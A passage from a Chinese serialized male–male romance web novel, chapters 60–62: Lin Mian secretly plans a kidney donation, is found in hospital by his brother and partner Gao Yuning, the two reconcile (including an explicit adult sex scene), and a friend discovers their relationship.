餐桌上沉默了一会,林缅在认真地吃饭。 郜屿宁看着他,舔了舔有些干涩的下唇。 “林缅,你是有事情瞒着我,” “还是又开始了?” 像以前一样,那些好听的话只是为了哄人,说过就忘。追他只是为了较劲,得到了就不珍惜,开始和他疏远,故意看不懂他的情绪。 林缅抬起头,眼睛闪了一下,像是刚回过神来,“什么?” 郜屿宁胸口起伏了一下,起身把纸巾扔进垃圾桶,没再说话,直接走回房间。 作者有话说: 不吵架不吵架。 第60章 第60章[VIP] 晴空万里, 只是一个很普通的日子,墓园空旷寂静。 林缅坐在墓碑前的石台上,抱着膝盖, 对着墓旁修剪整齐的冬青发了会呆。 唇瓣微微翕动,吐出音节。 “妈妈。” 可能是因为阳光毫不吝啬地倾洒,照得他眼睛发酸, 有些睁不开。 他揉了揉眼睛,微微转过身体, 看向墓碑上的照片。 祝悦很漂亮, 对着镜头眼睛弯弯, 笑得明媚。 林缅的眉眼其实和祝悦十分相像, 灵动得很,难怪小时候林准不愿意看到他,一看到他就伤心。 他吸了一口气,又慢慢吐出,“妈妈…” “上次来看你的时候, 郜屿宁还在生气不理我,现在我们已经和好了妈妈, ”林缅继续说, “我们都已经在谈恋爱了呢。” “可是他要是知道我偷偷干了些什么, 又要不理我了…”林缅有些沮丧。 “妈妈, 你说我做错了吗?” “我舍不得他再为这些事情再伤心再头疼了,更不可能让他去给郜决冕做配型…” “我都不敢让他知道郜决冕要换肾的事情…我很害怕…妈妈…” 林缅吸了吸鼻子, 平复下来, “我让他们选了, 要钱,还是要命, ” “他们选了哪样下半辈子都会觉得是失去了另外一样,这算不算也是一种惩罚呢?” “可是不管他们选什么,我都得到我想要的了,我只要他们不再去纠缠郜屿宁就可以…” 林缅把脸埋进手臂里,肩膀微微发颤,平复好呼吸才抬起头,抬手抹了一把眼泪。 “妈妈,我好讨厌我自己…” “你是不是也觉得我直接给钱让他们去等肾源就可以?” 林缅深吸一口气,“其实,” 他有些难以启齿,“其实,我也有点可怜郜决冕…他还那么小,我知道他父母很坏,但是他…” “万一万一我真的能救他呢,我也想试试…” “妈妈你放心,我都查过了,其实对身体不会有太大的影响,恢复也很快,” “我都计划好了,我们会去邻市做手术,结束后我也会在那里住一段时间,等暑假结束我就恢复得差不多了再回来,我已经跟郜屿宁找好借口了,” 林缅沉默了一会。 “妈妈,之前我被砸破脑袋,郜屿宁给我输血的事情你还记得吗?他救过我的,妈妈。” 他喃喃地说,“说不定我也真的能帮他呢。” 冥冥之中,好像能猜到命运就会这样安排。 “郜屿宁说过,如果我自己都觉得会惹他不高兴的事情就不要去做,” 林缅叹了一口气,垂下眼睛。 “可是,我……” “我也想赶紧摆平那些人,不要再像寄生虫一样缠着郜屿宁了,滚得越远越好……” 林缅哽咽住。一阵风吹过,石板上的花朵微微摇曳,包裹的塑料纸轻轻摩擦,刮出极轻地嚓嚓声。 “妈妈,其实我经常在想,如果你还在,我会是什么样子呢?” “你会不会告诉我,面对这种情况,一个成熟的合格的大人会怎么做?” “可是我不是,没有人教过我,也没有人可以帮我…我只有郜屿宁了,他对我太重要了,我除了他还有什么呢,” “我是不是很笨?” 林缅固执地擦了把眼泪,故作洒脱地说,“嫌我笨也没办法…” 到底是哪一个时刻开始让他觉得郜屿宁是他最重要的人的? 太久远了。不记得了。 好像从他出生开始,他就被用来纪念一些什么,被迫站在原地缅怀着什么。所有人都在向前走,只有他,踌躇不前。 但仔细想来,这和被困住了没有区别。困在林佑勤决定重新组织家庭的时候,困在亲生哥哥林准其实是因为讨厌他才选择出国的时候,困在自己的降生也许激不起任何人的喜悦,因为他的来到以母亲的离世为代价。 那可是世界上唯一一个,他可以确定的,会毫无保留地爱他的人了。 他说没有人教过他,其实也不全对。 祝悦不是教过他了吗?关于爱的道理,就是至死方休。 他不知道当时在产房里,医生会不会像电视剧里问出保大保小的问题。如果有的话,那林缅的人生就从这个问题就开始停滞不前了。 但突然有一天,林缅回过头来,发现自己已经离那个没有上锁的笼子很远了,低下头看到一路的脚印,每一步都是郜屿宁带着他走的。 也许就是这个时候开始,意识到郜屿宁是他生命中最重要的人。此后的每一天都只在温习这一件事。 微风轻轻吹动他的头发,手机突然响了一声。 他回过神,吸了吸鼻子,打开手机查看消息。 过了几秒,他重新看向微笑着的祝悦,嘴角微微上扬,眼泪顺着脸蛋滑下来,在阳光下晶莹剔透,“妈妈,谢谢你,” “我可能要过两个月才能看你了,妈妈。” 林缅和朋友出去旅游的第二天,郜屿宁迟迟没有等来林缅跟他打视频。 空荡荡的屋子,少了个林缅跟少了好几个人一样。 林缅偶尔几条报备的消息,郜屿宁回复得很冷淡,对面却和没看懂一样继续自说自话。 林缅总是这样,前几日吃饭时,郜屿宁不满的情绪那样明显,林缅哄人的办法就是一边叫哥哥叫老公一边往人身上爬,向来不吃这一套的郜屿宁竟然真的被他拽回了餐厅。从岛台做到沙发,再回的卧室。 小孩儿要和朋友出去玩,并不是什么大事,郜屿宁当时没有再多说什么。 但是现在心里莫名有些烦躁的郜屿宁点了根烟。细细想着林缅最近反常的地方,有心事和刻意疏远的感觉竟然越来越明显。 有个电话进来了,是林准。 他接通电话,聊了一会工作。 挂电话前,林准突然有些欲言又止,郜屿宁在烟灰缸上点了点烟,烟灰缓缓飘下来,“怎么了?” “你们复合了?”林准问。 “从哪里听来的?” 林准有些无奈地回答,“还能从哪,你的小男朋友我的宝贝弟弟自己说的呗。” 郜屿宁哼笑了一声,没有回答。 林准继续说,“那天正好我也去墓园,碰到他了,他说你们在谈恋爱。” 郜屿宁顿了一下,“他去墓园了?看他妈妈?” “嗯,”林准回答,“那天确实很巧,不年不节的。他平时会经常去墓园吗?” “不是很经常,”郜屿宁吸了一口气,“但是一般有事的时候会去。” “那”林准还没说完,郜屿宁就挂断了电话,直接朝对门林缅家走去。 郜屿宁不经常来林缅家,就连输密码之前也想了一会才反应过来林缅告诉过他,是他的生日。开门后,他径直走向主卧。 林缅很久没住过了,住了没一段时间就让给郜决冕了,留下的生活痕迹很少。 衣柜只有几件不常穿的衣服,他的衣服太多,郜屿宁家挂不下才拿过来,床头柜的抽屉里都一干二净。 他喉咙有些发紧,打了林缅的电话。 他太阳穴的神经随着嘟声一下一下跳着,最后一点也不出乎他意料的直接进入了一阵忙音,和机械播报电话未接通的女声。 郜屿宁站在床边,他深呼吸了一口气,想找到一点能解释他最近反常的原因,竟然有些手足无措起来。 他突然眯了眯眼睛,定睛看向角落里的垃圾桶,里面隐隐约约有张废纸,他快步走过去,蹲下身子。 打开揉成团的废纸,是林缅去医院里抽血的单子,日期是27号。 他微怔住,林缅跟他说的是学校组织献血。他低下头,垃圾桶里还有一盒空药盒。 他拿出手机搜索纸盒上的名称。药物的解释一堆专业名词,晦涩难懂,但在用途里写着抗排异药物,他倒吸了一口凉气,应该是郜决冕的。 他的手不自觉地开始有些开始发抖,连纸张都随之轻颤着,放大了他的紧张。 林准的电话又打了过来,以为刚刚只是信号不畅,接通后刚要开口。 “林缅电话现在打不通。” 林准愣了一下,笑着说,“你不会找不到自己男朋友来问我要吧?” “你能找到他吗?”郜屿宁没有心思和他开玩笑。 郜屿宁胸口起伏了一下,平复了微微哽住的声音,“他好像又要做蠢事了。”- 医生刚刚交代完注意事项离开。 林缅一个人侧坐在病房里的床上,两条腿在空中晃荡,对着窗口发呆,一只手在自己的胸口还有手臂上轻轻摸了一圈,好久没有跟郜屿宁去健身了,本就薄薄的肌肉又掉了一些。 等他恢复得差不多了,就要回去找郜屿宁。 明天就要做手术了,他却一点都不紧张,只觉得轻松。 轻松能帮郜屿宁摆脱这一切,一颗肾好像是很划算的事情。他唯一有些担忧的,就是会被郜屿宁发现,就连视频都不敢打了,只敢打电话,报备的照片也是让徐语常拍给他的。 他思量着这两个月该怎么应付过去。 身后的病房门被轻叩了两下,就被利落地推动,他以为是来检查情况的护士,叹了一口气,准备躺回病床上。 门板却被不轻不重地摔在墙上,接着伴随林准的声音,“林缅。” 林缅的背僵直了一下,缓缓地转过身看向林准,他的心跳骤停了半秒。 林准胸口起伏着,看向他的目光有些凝重,他咽了咽口水,“你疯了!?” 一阵风刮过,林准身后的门轻轻地带上,他脸上愠怒未消。 林缅移开视线,下意识地攥住被子,“哥,我…” “他郜屿宁值得你做到这种地步?” 林缅愣怔了几秒,回过神来。 “林缅,你当我是死的吗?”林准深吸了一口气,语气强烈起来,“有什么事我帮不了你!” 林准从来没有对他发这样大的火,小时候总是对他冷漠,长大了自觉亏欠弟弟,对他百依百顺,想尽办法弥补。 林缅抿直了嘴唇,只能沉默。 他偏过头,看向窗外。午后的阳光洒进地上,叫洁白无趣的房间多了一些生机。 几秒之后,林准呼出一口长气,走到林缅的床边,声音沉了一些,“小缅,” “对不起,你还在怪我,对不对…”不是为他突然对林缅发火而道歉。 林缅的眼睛闪了一下,低下头摩挲着有些发硬的被角,嘴角微微扬起,语气故作轻松,“哥,我从来没怪过你呀,也没有怪过任何人。” 林准扶了一下额头,“那你为什么不愿意找我…” “哥,”林缅打断他,“你是不是觉得我是因为太缺爱了,才会那么喜欢郜屿宁的?” 林准微微怔住,视线在他的脸停留了几秒,在他的记忆里,林缅总是乖巧懂事只有在提到郜屿宁的时候才会骄矜,就像现在,露出从来在他面前展现过的固执。 “你们不要这样想,”林缅声音微微发颤,“郜屿宁嘴上不说,但是心里会自责,会不开心,我也不喜欢别人这样讲。” 林准深吸了一口气,扶着额头转过身缓缓呼出,他听到林缅继续说。 “我们就是不管怎么样都会在一起的,就算我在很幸福很完整的家庭里长大,我看到他第一眼就会喜欢他,我就是知道。”林缅的语气很笃定。 “哥,你也不要一直想小时候的事情了,我早就忘记了,”林缅哽咽了一下,似乎语气还带着点笑意宽慰林准,又补充道,“真的。” 林准转过身,喉结滚动,直接拿出手机,顿了一下,平复好呼吸,拨通了郜屿宁的电话。 “我找到他了,”接着他报了个房间号。 林缅反应过来,眼睛逐渐瞪大,“不要!你怎么不说郜屿宁也来了!”没顾得上忍住眼泪,就赶紧赤着脚跑下床,冲过去要抢林准手里的手机。 林准和郜屿宁身形差不太多,林缅根本不是他们的对手,林准抓住他的手臂,对着电话说,“你过来吧。” 病房的门被推开,林缅抹了一把眼泪,倔强的视线从林准的脸上移开,不敢看门口的人影,径直坐回床边。 林准看了林缅几秒,叹了一口气,和郜屿宁擦肩而过,把病房的门带上。 听到关门的声音,林缅的心却更沉了一点,两只手撑在床沿上,不自觉地开始扣单薄的床单。 郜屿宁看着他的背影,声音有些无力,听不出语气,“你说要帮我分担就是这样分担的?” 林缅闻声转过头,视线已经被眼泪模糊,但依旧随着郜屿宁移动。 郜屿宁走到他面前,居高临下地看着他。林缅眼泪糊了一脸,仰着头,死死咬着嘴唇,不让自己发出哭声。 “他是死是活都不是我的责任,需要你替谁分担?” 郜屿宁表情和语气都显得有些冷漠,从旁边的柜子上抽了两张纸巾。 林缅吸了吸鼻子,在郜屿宁看向他的时候眼神躲开了,好像明白自己有多让郜屿宁失望,也预料到郜屿宁要对他说什么。 “哥…” 郜屿宁把他面前的光亮完全遮住,林缅脑袋缓缓地垂下来,郜屿宁直接捏着他的脸,把他的脸重新抬起来。 “你是不是对我很失望。”林缅呜咽着说。 “原来你知道。”郜屿宁回答。 林缅不再只是小声的啜泣,肩膀都在发抖,他咽了咽口水,有些口齿不清。 “你是不是又准备不要我了,我不要分手,我死也不分手…” 郜屿宁眼睛闪了一下,“林缅,我说过了,我不想跟你过家家。” 林缅连哭泣都滞了一秒,反应过来哭得更加悲痛,嚎啕大哭起来,“我不要分手!” 郜屿宁捏住他的脸,用纸巾并不温柔地帮他把脸颊上的眼泪擦掉,“我问你,你做这种决定的时候,有没有考虑过我的感受?” 林缅用力点了点头。 郜屿宁觉得可笑,“你明明知道我最在乎什么,你还说你考虑过我了。” “我就是因为不想让你担心…” 林缅脸低了下来,肩膀随着哭泣发抖,似乎在等死刑宣判。 郜屿宁转过身,深呼吸了几口气,病房里短暂沉寂了几秒。 “林缅,之前我说错了,我说我们试试,” 郜屿宁转过来,身子缓缓蹲下来,抬头看向林缅,抬起手擦掉林缅挂在鼻尖的眼泪,“可能让你觉得,我不是认真的,让你觉得这些事情不用告诉我,” 他的声音也颤着,似乎忍耐了很久,“我说我不想跟你过家家的意思,是,我对你是认真的,很认真,我有事就会告诉你,你也不许再瞒着我任何事情,” “不管你是想要替我做些什么,还是真的只是想要救郜决冕…” 郜屿宁沉了沉气,眉眼微动,认真地看向林缅。 “林缅,你学什么都很慢,我再教你一遍。” “我们在谈恋爱,以后有任何事情,就都不是我们任何一个人的事了,是我们一起的。” 林缅睫毛轻颤着看向郜屿宁,眼睛被洗得又黑又亮,像小鹿,叫人可怜。 “所以,也不要随便提分手,我不会,你也不能。” 郜屿宁抓住林缅死死扣着床沿的手,攥在手里,“你答应我,不要再做这种事情了…” 林缅用力点头,用另一只手胡乱地擦了一把眼泪。 郜屿宁稍微有些失控地发出颤音,努力平息后,吐出一口气,“我真的受不了…” 林缅吸了吸鼻子,捧住郜屿宁的脸直接,吻了上去,吻得缠绵,尝到了一点眼泪的咸味。 林准站在楼下烟没停过。 医院的绿化做得很好,如果忽略来往散步的都是穿着病号服的人,凭着阳光明媚绿意盎然的景象,很像公园。 林准突然想起,小时候的家里也有一个很大的院子,和吕文晗他们住的也近,他们经常来找林缅玩。 五六岁的小孩儿叽叽喳喳,最是讨人嫌的年纪,那时候的林准性格孤僻,跟同龄人都没什么话题,更别说和他们了。 林缅总是带着小朋友来他书房里看假面骑士、拼乐高,就连情商那么低的吕文晗都看得出林准不想理林缅,那时的林缅居然总厚着脸皮哥哥哥哥的跟着他。 他记得有一次,几个小孩儿在后院放风筝,他站在楼上书房的窗边能看得很清楚,他们的风筝线缠在了一起,缠在花坛边的枝桠上。 他思考了一会,下楼去后院走向他们。几个五六岁的小孩看到十二岁的林准,就像看到了盖世英雄。 他蹲下身子,把陈汋和吕文晗缠在一起的风筝线厘清,两个人拎着各自的风筝跑向空地,准备重新起飞。他抬头看向林缅的风筝,他的线只是缠在了枝桠上,风筝还没有落下来,轻轻扯着线还能在空中飘飘然一会。 他低下头看向林缅,林缅的眼睛滚圆,写满了天真,期待地看着他,林准顿了两秒,却从口袋里拿出剪刀,把林缅的风筝剪断了。 风筝摇摇晃晃地飘走了,直到完全看不见踪迹。 十二岁的林准头也不回地进了别墅,也同样消失在了林缅此后漫长至今的成长岁月里。不管是主动还是被迫。 他那时懦弱地逃离了有林缅的生活,而现在的林缅当然也可以同样残忍地选择不再在自己的生命中给他留一个位置。 就比如不会在这样的关头,找他帮忙,也不要在郜屿宁生意上遇到麻烦的时候,请他做顺水人情。 林缅再是个少爷,但说到底抛开林家他只是一个小孩儿,他不愿意依靠对他百般刁难的林佑勤、曾经抛弃过他的林准,他只能想到这个笨办法。 十几年过去了了,林准现如今想起来那个时刻都觉得残忍和痛苦,但林缅却还在安慰着他,说自己从没怪过他。 他遗憾后悔甚至痛恨自己小时候这么不懂事、竟然把失去母亲的悲痛都撒在无辜的弟弟身上。 但除此之外,他能做的好像只剩下庆幸这一件事情,庆幸还好有郜屿宁,才能让林缅活得比他有血有肉,比他生动,也比他知道冷暖。 林准最后一根烟抽完,又上了楼,走到病房门口,正要推门,扫见门板中间的玻璃,两个人正亲得起劲。 他叹了口气,只好去旁边的长椅上坐了一会,等两人忙完再进去。 又接了几通工作电话,又去扫了眼,两个人已经从床上抱到沙发上了,还没有停下来的打算。林准敲了敲门,过了两秒才推门进去。 林缅侧坐在郜屿宁腿上,抬眼看向门口的林准,嘴唇透红,耳根子连到面颊微微发烫,他有些不自然地垂眼,从郜屿宁的身上下来,坐到旁边。 郜屿宁抱着他腰的手轻轻拍了一下,起身说,“我去一趟郜决冕那里。” 林缅赶紧抓住郜屿宁的手,“不要,你别去!” 郜屿宁耐着性子要安抚林缅。 林准沉了沉气,看着他,“带他回去吧,这里的事情交给我,以后都不要再管了。” 作者有话说: 新年好,祝一切顺利! 明天要做.愛,怕被锁的宝宝可以来蹲蹲。《 》 60-63 第61章 第61章[VIP] 从邻市回江市, 车程两个多小时,回来时已经才刚刚天黑。 而现在已经彻底是深夜。 车停在地下停车场的角落里,四周光线昏暗, 人迹罕至,远处微弱的暗灯照进车内。 林缅喘着粗气,胸口剧烈地起伏, 抽泣的时候都会被口水呛到,他半躺不躺地倒在后座, 两条腿无力地垂着, 郜屿宁轻轻捏着他的手。 林缅用手撑在门把手上, 想借力把自己的身子撑起, 调整坐姿。 但皮质座椅和皮肉紧挨着太久,闷出一层细汗,摩擦时发出声响,在安静的车厢里很响亮。 林缅的脸倏地热了起来,连着身子都变得更红。 郜屿宁轻轻笑了一声, 林缅臊得更厉害,抬起手要把自己的脸遮起来。 “平时那么能说, 现在脸皮又薄起来了?”郜屿宁摁下他的手, 揽住他的腰把他抱坐到自己的身上, “休息好了吗?” 林缅两条腿曲着坐在郜屿宁腿上, 膝盖贴在座椅上,离□□只剩下左脚脚踝上挂着的小内裤, 而郜屿宁只有皮带和裤链是解开的。 “哥…”林缅小声地啜泣, 要把头靠在郜屿宁的肩膀, 脸要埋进他的颈窝。 郜屿宁却用手轻轻抵住林缅的肩膀,不让他靠近。 这种时候是林缅最需要安抚最黏人的时候, 像是循着身体本能,总是不管不顾地要贴着郜屿宁。 但郜屿宁却偏偏不如他愿,假装严厉地和林缅保持距离,林脸有些茫然地抬起眼睛。 在昏暗的车厢里林缅的眼睛很黑很亮,显得无辜和可怜,像是面对要抛弃他的主人的小狗。 “林缅,以后还会这样吗?”郜屿宁显得有些不近人情。 林缅用力地摇头,“不会,再也不会了。” “真的长记性了?记住了?” 郜屿宁喉结滚动,板着脸松动下来。 领着他的手朝他身后送过去,声音带了些温度,“那你记住在哪里了吗?找给我看。” 林缅身子僵了一下,才反应过来,扭捏着把脸藏起来。 郜屿宁无奈,才开始轻声哄他,一只手捏住他的后颈,轻轻爱抚,轻轻吻他的嘴巴,又抿了抿他发烫的耳朵,另一只手带着他的手指在他身体里梭巡,林缅伴随着难捱的惊呼不由自主地挺起了腰。 直到最后把郜屿宁的上衣蹭得面目全非。 第二天林缅醒过来的时候已经大下午了,前胸后背蹭红的地方都已经涂了一层薄薄的药膏,腿上屁股也是,睡得太久连酸痛劲儿都过了。 手机里好几条郜屿宁发来的未读消息,从交代他早饭中饭开始,问他有没有不舒服,还有晚饭接他出去吃,但现在都已经快要下班了。 猜得到林缅睡起懒觉来昏天黑地,也没有打电话吵醒他。 林缅赶紧爬起床,利落地收拾完,就出了门,想去接郜屿宁下班,给他一个惊喜。 到郜屿宁公司楼下的时候比他下班时间还早了半个小时,他百无聊赖地在大厅里坐了一会,才有人稀稀疏疏地从电梯间出来。 他闻声看过去,正好白可鑫出来了,他心中警铃大作,忘了会被他的同事看到了的事情了。 他心虚地偏过头,两只脚在地上划拉,身体跟着转椅慢悠悠地转成背对人流的方向。 但肩膀被人不轻不重地拍了一下,白可鑫早就看到他了,“学弟?” 林缅故意咳嗽了两声,解释道,“其实我是来…” “你是来找郜总的吧。” “他们刚开完会,应该也快下来了。”白可鑫告诉他。 白可鑫看着有些无措的林缅,顿了一下,有些犹豫地开口,“其实你们俩挺明显的…” 周围的人流逐渐多了起来,白可鑫说道,“前一段之间,郜总经常带我出去工作,不知道你会不会介意,就算没有,我还是应该跟你解释一下的。” 林缅顿了一下,抿着嘴唇。 “我马上毕业了,但是公司里没有转正的名额,之前郜总就告诉过我,但是我也找不到什么更好的工作,我想能多学一点也是一点,还是留了下来,” “我家庭条件不是很好,他后来还帮了我很多,给我介绍了他大学同学,让我顺利找到工作,还说如果经济上有需要也可以找他帮忙。” 林缅低声说,“他不是因为你家庭条件才帮你的,因为你本来就很优秀…” 白可鑫继续说,“他说他以前读大学的时候也是因为有人资助所以才能很顺利地学自己喜欢的专业、找到收入不错的工作。” “他看到我可能想到了以前的自己吧,所以才会尽可能得多给我机会。” 林缅鼻子微微泛酸。 远远看见郜屿宁的身影朝他们走来,他的眼睛闪了一下,被白可鑫捕捉到,白可鑫笑了一下,和林缅道个别就顺着人流朝门口离开了。 林缅抬手蹭了蹭鼻尖,郜屿宁嘴角微抬着走到他面前,抬手刮了刮林缅的鼻子,“说什么了?怎么还要哭了。” 林缅拍开他的手,语气有些责备,“那么多人看着呢,人家都要知道了。” 陆停言和魏连经过两人时意味深长地看了他们一眼,哼笑了一声,“别等我们都到餐厅了,你们俩还在这里腻歪。” 林缅愣了一下,看向郜屿宁,眼睛眨啊眨的有些惊喜,压低了声音问道,“你要出柜嘛!给我名分!?” 郜屿宁笑了一声,反问他,“你不愿意?” “当然愿意啦!”林缅立刻开心起来。 郜屿宁收回手朝门口走去,林缅赶紧追上来,抓住郜屿宁的一根手指。 但林缅仔细想想,好像周围这些人好像确实都知道了,就连公司同事都能猜出个大概了。直到在餐厅里看到了楚齐彦。 郜屿宁准备直接宣布,林缅却拽了拽他的手叫他等等。 在宣布正事之前,林缅环视一圈,想先努力找些话题铺垫一下。 一段时间不见,楚齐彦不知道为什么明显变得沧桑了一些,连吃饭都显得没什么胃口。 他清了清嗓子,“楚老师,你怎么看上去状态不太好?” 楚齐彦哀叹了一口气,魏连看在眼里,猜测道,“是不是之前健身房群里加你的那个什么神秘感、心灵共振,网恋见光死了。” 楚齐彦一只手捂住眼睛,狠狠搓了一把,“更恐怖。” 提到这茬子事儿,他又悲痛了起来,他深吸了一口气,“他居然敢骗我!” 语气逐渐激昂起来,“我们聊了整整两个月!他都没跟我说他是男的!” 桌上短暂的沉寂了两秒,接着几人都发出爆笑,魏连问,“这算哪门子的骗,人家说自己是女的了吗?” 楚齐彦把桌子拍得哐哐响,“我靠!他的头像是一只像素小猫!他给的备注叫小洁!小洁!冰清玉洁的洁!” “这能怪我吗!?” 林缅顿了一下,和郜屿宁对视了一眼,又不自然地飘开,低下头喝着饮料,假装很忙碌。 “你知道我见到他的时候有多崩溃嘛!”楚齐彦情绪激动地继续说,“那个男人练得比我还大!满脸的毛,嗲声嗲气地喊我小哥哥…” 林缅被呛得咳嗽不止,郜屿宁也轻咳好几声,拍着林缅的背帮他顺气。 “行了行了,还让不让人吃饭了。”陆停言也笑得不行。 郜屿宁努力压着嘴角,给林缅倒了杯温水。 楚齐彦也不再吐槽,愠怒平息后,感叹了一句,“反正我现在恐同了,” “我以后见到同性恋绕着走。”楚齐彦没好气地说。 桌上短暂的寂静了几秒,除了楚齐彦之外的人都察觉出气氛有些微妙。 “那个,其实,”郜屿宁放下杯子,难得有些踌躇地开口,打破安静后准备干脆和他说了,但衣服的下摆却突然被林缅轻轻扯了一下。 他转头看过去,林缅正在假装认真地进食,似乎打了退堂鼓,他只好把话重新咽了下去。 饭局结束,没有喝酒的林缅开车,楚齐彦酒意有些深眯上了眼睛,郜屿宁坐在副驾,昏暗的车厢里,就算把手搭在林缅的腿上也不会被发现。 车停到楚齐彦家楼下,楚齐彦和他们道别后就下了车。 目送着楚齐彦进了单元门,车厢里只剩下他们两个人,林缅语气有些失落,“什么时候才能告诉楚老师呀…” 郜屿宁摁亮了车顶灯,偏过头看向他,“刚刚不让我说。” 林缅低下头,语气有些忿忿,“那个小洁一定是故意的,之前他还向我打听过你呢,我说你是直男,他猜楚老师也是直男,所以才不说自己是男的。” “还有这么多事情没告诉我呢?”郜屿宁笑着问。 林缅努起了下唇,有些湿润,很无辜地问,“这也要算吗?” 郜屿宁轻轻摩挲他的耳垂,看着他的耳朵一点点变红,嘴角微微抬起。 “笑什么。”林缅皱起眉头,“他很坏的,我只是向他打听了一下你什么时候去健身,就叫我花了好多钱,还不肯告诉我…” 郜屿宁靠过去,用唇瓣包住林缅的下唇,轻轻吮吸他的舌尖,林缅呜咽一声,没说完的都被咽进肚子里。 林缅轻轻推开郜屿宁,“不要在车里了,有人经过好吓人。” “说车顶高,说很适合…” 林缅面红耳赤地直接捂住郜屿宁的嘴巴,郜屿宁直接把他的手拿开,非要把话说完,“说很适合做.爱也是你。” 林缅的耳根子红得更透,“亲亲还是可以的。”说完捧着郜屿宁的脸,小鸡啄米似的亲了好几下,从鼻尖到下巴,还有脸颊,一处都不舍得漏掉。 林缅满意地捧着郜屿宁脸,思考还有没有遗漏的地方,却发现郜屿宁的视线眼神闪了一下,看着窗外,林缅扭头顺着他的视线看过去。 楚齐彦站在原地,透过车窗看向他们,目瞪口呆,连举起准备叩车窗的手也愣在空中。 过往那些有些可疑却又被他自己摁灭的苗头,在他脑子里嘶嘶嘶得叫了一会,最后嗡得炸开。 第一次在学校附近的餐馆吃饭,明明是郜屿宁在为林缅涮碗搛菜,但林缅又怕他怕得很,稍微一个冷声就把挑食的毛病改了。 后来打棒球受伤、去户外徒步失踪,郜屿宁嘴上不说,心里比谁都担心,训起他来又不手软。 这哪是在伺候少爷,这分明是在管教弟弟,在心疼老婆。 还有两人脖子上莫名其妙的勒痕和牙印…在他家从林缅书包里掉出来的项圈那些东西… 他现在想来,觉得自己真是蠢得不行,到底是谁家狗的尾巴是可以摘下来,放包里揣着的!他才是被这两人戏耍的狗! 他倒吸了一口凉气,刚刚还因为酒喝得有点多,有些头昏脑胀,但现在已经彻底清醒了。 他扶着额头转身就要走,林缅赶紧开门下车,“楚老师!” “楚老师!” 楚齐彦头也不回地往前走,连回来是因为手机落在车上都忘记了,咬着牙回答,“我恐同!” 见楚齐彦没有理他的意思,他弯下身子伸进车内,用力拽了拽气定神闲的郜屿宁,正支着下巴看着他俩。 急迫地说,“你快下来呀!帮我去追他!” “他要是挂我体育课就不好啦!” 作者有话说: 解释一下!哥很了解林缅的身体,喜欢一步步教林缅,教他哪里、怎么弄会很舒服,喜欢看林缅当着他的面自己摸自己,但是其实林缅只有哥带着他摸的时候才会控制不住地很舒服,才不是太笨了,也不是记不住、学不会! 第62章 第62章[VIP] 郜屿宁不紧不慢地下了车, 跟着上蹿下跳的林缅和一身怒气的楚齐彦。 电梯还没到,电梯间里灯光亮堂,楚齐彦站定后, 深吸了一口气,冷静下来转过身。 莽莽撞撞的林缅没刹住车差点要撞上去,郜屿宁伸手拦着他的肩膀轻轻一拽, 就把人捞了回来,靠到自己身上。 楚齐彦看到两人腻腻歪歪的样子气不打一处来。 “楚老师, 我们不是故意要瞒你的…只是停言哥他们都早就看出来了…”林缅有些无辜又小声地说。 楚齐彦顿了一下。要是之前看到他们俩现在搂在一块儿, 说不定自己还在傻不拉几地说“嘿嘿你们兄弟俩感情真好”。 楚齐彦的视线落在郜屿宁的脖子上, 林缅扭头看过去, 才发现郜屿宁的衣领刚被他扯得有些歪,锁骨上的牙印露了半个出来。 林缅赶紧转过身,帮郜屿宁把衣领理好。 “你俩,谈了多久了?”楚齐彦问。 两人都不约而同地有些沉默,林缅不甘心把断电那天才是纪念日, 真要算起来那从年初下雪那天两个人就互相表白了,郜屿宁也不知道之前闹出的乌龙怎么算, 竟然找不出一个合适的日子当作在一起的纪念日。 楚齐彦看着默不作声的两人, 好像自己有多为难人似的, “行了行了行了, 我还能真和你们绝交怎么着…” “不是,”林缅吸了吸鼻子, “那你没有生气了吧…” “还有那个小洁骗你的事情, 你不伤心吧…” 楚齐彦觉得林缅跟刚认识的时候浑身长刺儿的模样变化很大, 真被他逗笑了,“真行了, 挺爽快一小孩儿怎么谈了个恋爱就变得婆婆妈妈的,郜屿宁给你下什么药了。” 郜屿宁啧了一声。 见楚齐彦真没有生气了林缅才放下心来,跟着郜屿宁一步三回头地出了单元门。 再转过头来,郜屿宁已经走远,快上车了,林缅赶紧追上来,上了车拽着郜屿宁的领子要看。 郜屿宁无奈地微微扬起头,“楚齐彦心大的很,别说被网骗了,” “他高中练游泳,在学校游泳馆里迷路了直接光着进了游泳池,被看了个精光,全校都出名了,第二天来上学还在那儿自豪呢…” 林缅用手指轻轻戳了戳那个牙印,根本没听进去,有些心疼地问,“疼不疼呀…” “叫你使那么大劲儿,牙口比狗还利索。”郜屿宁掐了掐林缅的脸,用手指轻轻蹭了蹭他的嘴唇,露出左侧的小虎牙。 “不能全怪我,谁叫你有人经过的时候还故意…” 昨天晚上车停的位置偏僻,又是后半夜,按理说不会有人经过。但是好死不死正好有人从旁边都快要废弃的楼道下来。 那几个人好像也不知道忘记自己车停在了哪里,在附近绕了好几圈,最近的一次就差贴在车身上了。 郜屿宁却不停,林缅大惊失色,身上不着寸缕,忍不住偏头朝外望,越是这样郜屿宁越要弄他,还更起劲了一些。 就这样了还要被郜屿宁故意逗他说干这种事情的时候一点都不认真,心不在焉的,很伤哥哥的心。 林缅头昏脑胀的,干脆把脸埋进郜屿宁的颈窝里,只能发出闷闷的声音,眼泪口水搅在一起。 他只能靠用牙齿厮磨郜屿宁的锁骨才能忍耐,闭上眼睛感觉外面人说话的声音都好近,心脏都要跳出来了,郜屿宁还是一点都没手软。 林缅哆嗦了一下,直接狠狠咬了下去,完全就是一只被逼急了的小狗,才把郜屿宁的锁骨咬出血印子。 郜屿宁看着他脸臊得通红还要分条列点说自己对他有多过分,嘴角都快要压不住了。 “不许笑。”林缅微微蹙眉。 郜屿宁轻咳了一声,转移话题,“少爷今年生日准备怎么过?” “就我们两个过,之前说好去旅游的。”林缅眨眨眼睛。 郜屿宁直接答应了下来。 之后一小段时间,林缅都兴奋得要命,看穿搭看攻略。 可天不遂人愿,郜屿宁工作又忙了起来,直到快要出发了,突然又有投资人要见,见完投资人又来了一堆工作,林缅主动说算了算了下次再出去玩吧,反正以后有的是机会。 林缅嘴上这样说,觉得自己不该那么幼稚,要学会体谅人,但心里难免还是有些失落和不开心。 陈汋他们知道林缅生日没安排之后,又像去年那样给少爷在酒吧里整了很大的排面,林缅领了好意,只是兴致缺缺,只顾着喝闷酒,边喝边盯着手机,等郜屿宁说来接他回家。 直到喝得没意识了。 